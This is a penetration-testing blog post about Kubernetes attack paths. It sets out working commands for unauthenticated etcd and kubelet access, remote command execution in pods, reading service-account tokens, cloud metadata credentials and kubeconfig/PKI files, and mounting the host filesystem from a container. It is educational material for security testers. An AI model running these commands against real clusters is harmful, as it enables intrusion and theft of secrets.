Kubernetes Attack Surface
Kubernetes Attack Surface
As more enterprises adopt cloud technologies such as microservices and containers, Kubernetes is becoming a crucial part of their IT ecosystem. Kubernetes is an open-source container-orchestration system for automating computer application deployment and management at scale. Although Kubernetes brings significant benefits to organizations, it also introduces new attack surfaces. Today, we will discuss some of the prevalent attack paths for Kubernetes.
Figure 1: Kubernetes Threat Matrix (Source: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/)
Some of the technologies and terminologies used in this blog may be foreign to you if you have not used Kubernetes before. We will cover some Kubernetes basics here.
A master node controls and manages a set of worker nodes in a Kubernetes cluster. Some of its core components are as follows:
|Master Node Components|
|API Server||Component on the master node that exposes the Kubernetes API.|
|Controller Manager||A daemon that embeds the core control loops shipped with Kubernetes.|
|Scheduler||Component on the master that watches for newly created pods with no node assigned, then selects a node for them to run on.|
|etcd||A consistent and highly available key value store used as Kubernetes’ backing store for all cluster data, including secrets.|
Worker nodes are usually containerized applications that host pods, which are an application’s workload, such as a Docker container running a Ngnix web server, or a MySQL database. Some of its core components are:
|Worker Node Components|
|Kubelet||An agent that runs on each node in the cluster. It makes sure that containers are running in a pod.|
|cAdvisor||cAdvisor auto-discovers all containers in the machine and collects statistics like CPU, memory, filesystem and network usage. cAdvisor is integrated into Kubelet binary.|
|Kube-proxy||Kube-proxy enables the Kubernetes service abstraction by maintaining network rules on the host and performing connection forwarding (iptables and IPVS).|
|Pod||A pod is a group of one or more containers (such as Docker containers), with shared storage/network and a specification for how to run the containers.|
Initial Access & Discovery
Public Repository Search for Credentials/Access Keys/Configuration Files
There is nothing different from our usual discovery process regarding open source intelligence (OSINT) against Kubernetes. First, one should search for public code repositories, such as Github and Gitlab, for stored credentials or secret keys. It happens rarely, but developers may accidentally commit their projects into public repositories with hardcoded credentials. If the target organization’s repositories are small, you can do a manual search to look for file extensions like .config and .conf, which may contain hard-coded credentials. However, several open-source tools can automate these search efforts:
Figure 2: Example TruffleHog Scan Results
Searching for Exposed Services
Common Kubernetes Service Ports
If a Kubernetes cluster is configured properly, it exposes a very limited attack surface. Ideally, the Kubernetes API server should be the only asset that can be accessed outside the cluster. And when exposed, it should be securely configured with TLS as well.
However, not all environments will be perfectly hardened or appropriately configured. For instance, a pod might be misconfigured to talk to the outside world directly. In your initial discovery stage, it would be a good idea to perform a quick scan against the following common Kubernetes ports:
|Example Kubernetes Ports|
|443/TCP (Kubernetes API Port)
6443/TCP (Kubernetes API Port)
8443/TCP (Minikube API Port)
8080/TCP (Insecure K8s API Port)
10250/TCP (kubelet API)
|Kube API Server|
|2379/TCP (etcd Storage)
2380/TCP (etcd Storage)
6666/TCP (etcd Storage)
|etcd Client Server|
|4194/TCP (Container Metrics)||cAdvisor|
|9099/TCP (calico-felix)||Health Check Calico Server|
|6782-4/TCP (weave)||Metrics and Endpoints|
By default, Kubernetes API endpoints will not allow anonymous access. However, if the API endpoints are misconfigured and accessible without authentication, it might be possible to enumerate directories.
$ curl http(s)://<Kubernetes-Master-Server >: <Port >
It would also be a good idea to perform directory fuzzing/brute-forcing against the API endpoints to discover any customized or hidden directories or files.
A Kubernetes etcd server stores the cluster secrets and configurations files. By default, the etcd endpoints will not allow anonymous access. However, it is good to check:
$ curl http://<Kubernetes-Master-Server >:2379
$ curl http://<Kubernetes-Master-Server >:6666/v2/keys
If it allows anonymous access, try the following etcdctl command to retrieve the secrets:
$ etcdctl --endpoints=<Kubernetes-Master-Server >:2379 get / --prefix --keys-only
If the etcd server is configured with a TLS certificate:
$ etcdctl --endpoints <Kubernetes-Master-Server >:2379 --cacert <ca_cert_path> --cert <cert_path> --key <cert_key_path> get / --prefix --keys-only
Kubelet is an agent that is deployed on pods in the cluster so that the API server can talk to them. For this reason, kubelet can create containers and have complete control over pods running in the cluster. These functions are completed via kubelet API calls.
Figure 3: Kubernetes Architecture (Source: https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster)
If kubelet is exposed, it will listen on the default port 10250/TCP. There are common APIs like “/pods” for listing the pods in the kubelet’s worker node, but there are also many undocumented APIs.
If you locate exposed kubelet endpoints, you can potentially read sensitive data and execute remote code execution (RCE) attacks on the affected container.
Example RCE using the Exposed API Calls:
$ curl -ks -X POST https://<Kubelet-IP>:10250/run/<namespace>/<pod>/<container> -d "cmd=id /""
$ curl -k -H "Connection: Upgrade" \
-H "Upgrade: SPDY/3.1" \
-H "X-Stream-Protocol-Version: v2.channel.k8s.io" \
-H "X-Stream-Protocol-Version: channel.k8s.io" \
-X POST "https://<Kubelet-IP>:10250/exec/<podNamespace>/<podID>/<containerName>?command=id&command=/&input=1&output=1&tty=1"
To attack this, you can also use the open-source tool called kubeletctl created by the CyberArk team.
1) Scanning for accessible kubelet API
$ kubeletctl scan --cidr 172.31.16.0/24
2) List pods
$ kubeletctl pods
3) List token
$ kubeletctl scan token
$ kubeletctl scan rce
$ kubeletctl exec "id" -p <Pod Name> -c <Container Name>
Note: If you target the Kubernetes environment deployed in managed Kubernetes services like AWS EKS, Azure AKS or Google GKE, kubelet attacks might be limited. It is because those services usually prevent unsecured settings for the kubelet APIs.
Let’s say that you’ve breached the target Kubernetes environment by exploiting a vulnerability identified on a cluster and successfully gained access to one of the pod containers. Now, let’s talk about another attack surface with this container access.
Service Account Token
By default, a container in the Kubernetes cluster will hold a service account token within its file system. If attackers find that token, they can use it to move laterally, or depending on the privilege of the service account, they can escalate its privilege to compromise the entire cluster environment.
$ cat /run/secrets/kubernetes.io/serviceaccount/token
Figure 4: Example service account token
The service account token is created with JSON Web Token (JWT), which is an open standard of RFC-7519. One can use https://jwt.io/ to decode the base64-encoded part of the JWT token (HEADER and PAYLOAD sections) and learn more about the service account:
Figure 5: Decoding Service Account Token
Kubernetes API Enumeration
After gaining access to a service account token (JWT_Token), you can now perform some authenticated Kubernetes API enumerations:
# List Pods:
$ curl -v -H “Authorization: Bearer <JWT_TOKEN>” https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/pods/
# List Secrets:
$ curl -v -H “Authorization: Bearer <JWT_TOKEN>” https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/secrets/
# List Deployments:
$ curl -v -H “Authorization: Bearer <JWT_TOKEN>” https://<Kubernetes_API_IP>:<port>/apis/extensions/v1beta1/namespaces/default/deployments
# List Daemonsets:
$ curl -v -H “Authorization: Bearer <JWT_TOKEN>” https://<Kubernetes_API_IP>:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets
Cloud Secret Key
With container access, you can also attempt to retrieve cloud secret keys via metadata instances. For example, if one can access AWS IAM secrets, they may have permission to access AWS resources.
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/0.1/meta-data/attributes/
$ curl -s -H "X-Google-Metadata-Request: True" http://metadata.google.internal/0.1/meta-data/attributes/kube-env
Note: Adding the “X-Google-Metadata-Request” header is required since Google has implemented controls to prevent people from abusing the metadata endpoint.
$ curl http://169.254.169.254/metadata/instance/compute?api-version=<version>
Note: Azure supported API versions can be found here.
By default, containers will run as either privileged or root access within the pods. But if you land on a container that is not configured with default settings, you may need to escalate your privileges or escape from it in order to gain access to the underlying host OS.
There are many ways to break out of the containers, and the following resources may give some ideas:
Writable hostPath Mount
Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below are some common things you can check within the container to see if you can leverage this attack vector:
# Check if you can write to a filesystem
$ echo 1 > /proc/sysrq-trigger
# Check root UUID
$ cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e6<Redacted>858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
## Check underlying host filesystem
$ findfs UUID=<UUID Value>
## Attempt to mount the host's filesystem
$ mkdir /mnt-test
$ mount /dev/sda1 /mnt-test
# debugfs (Interactive filesystem debugger)
$ debugfs /dev/sda1
In another situation, let's say you gained access to a computer that belonged to a Kubernetes engineer or cluster owner. Now you can probably use the already installed kubectl command to access the Kubernetes cluster.
kubectl Config File
The first thing you can do is search for common locations for the Kubernetes configurations.
# Kube Configuration
$ cat $HOME/.kube/config
# Cluster-Level Configuration
$ cat /var/lib/kubelet/config.yaml
$ cat /etc/kubernetes/kubelet.conf
# Instance-Specific Configuration
# etcd Configuration
$ cat /etc/kubernetes/manifests/etcd.yaml
# Bootstrap Configuration>
# Kubernetes Key
$ cat /etc/kubernetes/pki
Basic kubectl Command
We will cover some basic kubectl commands here, which can be used for the initial enumeration against the target cluster.
# Node Information
$ kubectl get nodes -o wide
# Pod Information
$ kubectl get pods --all-namespace -o wide
$ kubectl describe pods <Name of the Pod>
# Secret Information
$ kubectl get secrets
# Exec into Pod
$ kubectl exec -it <Name of the Pod> /bin/bash
Risky RBAC Assessment
Regarding Kubernetes Role-based Access Control (RBAC), there are two main ones:
- Roles: This will grant access to a specific namespace in the cluster.
- ClusterRoles: This will grant access to all namespaces in the cluster. You can think of this privilege the same as a domain admin in a Windows Active Directory environment.
$ kubectl get role -o yaml
- apiGroups: ["*"]
verbs: ["*"] # List, Get, Create
# ClusterRoles (* It requires right privilege to retrieve data)
$ kubectl get clusterrole -o yaml
- '*' # List, Get, Create
- resources [“*”] + verbs [“get”]: This can be used to access secrets from other service accounts.
- resources [“*”] + verbs [“list”]: This can list other users’ secrets, which can be used for lateral movement and/or privilege escalation in the cluster.
- resources [“*”] + verbs [“create”]: This allows creation of any resources in the cluster, such as pods, roles, etc.
Kubernetes Auditing/Pen testing Tools
Finally, several great open-source tools can help you automate some of the vulnerability scanning and discovery of common misconfigurations within the target Kubernetes environment:
In this blog, we briefly discussed the basics of Kubernetes and the attack vectors for a Kubernetes environment. We went over some tactics around initial access and discovery, as well as post-initial access perspectives. We want to say that this is just a starting point. As Kubernetes and cloud-native technologies rapidly evolve, there will be plenty more security considerations around their attack surfaces. As security practitioners, we should continuously familiarize ourselves with these new technologies and help identify security gaps to improve their security postures.
Copyright © 2021 Optiv Security Inc. All rights reserved.
No license, express or implied, to any intellectual property or other content is granted or intended hereby.
This blog is provided to you for information purposes only. While the information contained in this site has been obtained from sources believed to be reliable, Optiv disclaims all warranties as to the accuracy, completeness or adequacy of such information.
Links to third party sites are provided for your convenience and do not constitute an endorsement by Optiv. These sites may not have the same privacy, security or accessibility standards.
Complaints / questions should be directed to Legal@optiv.com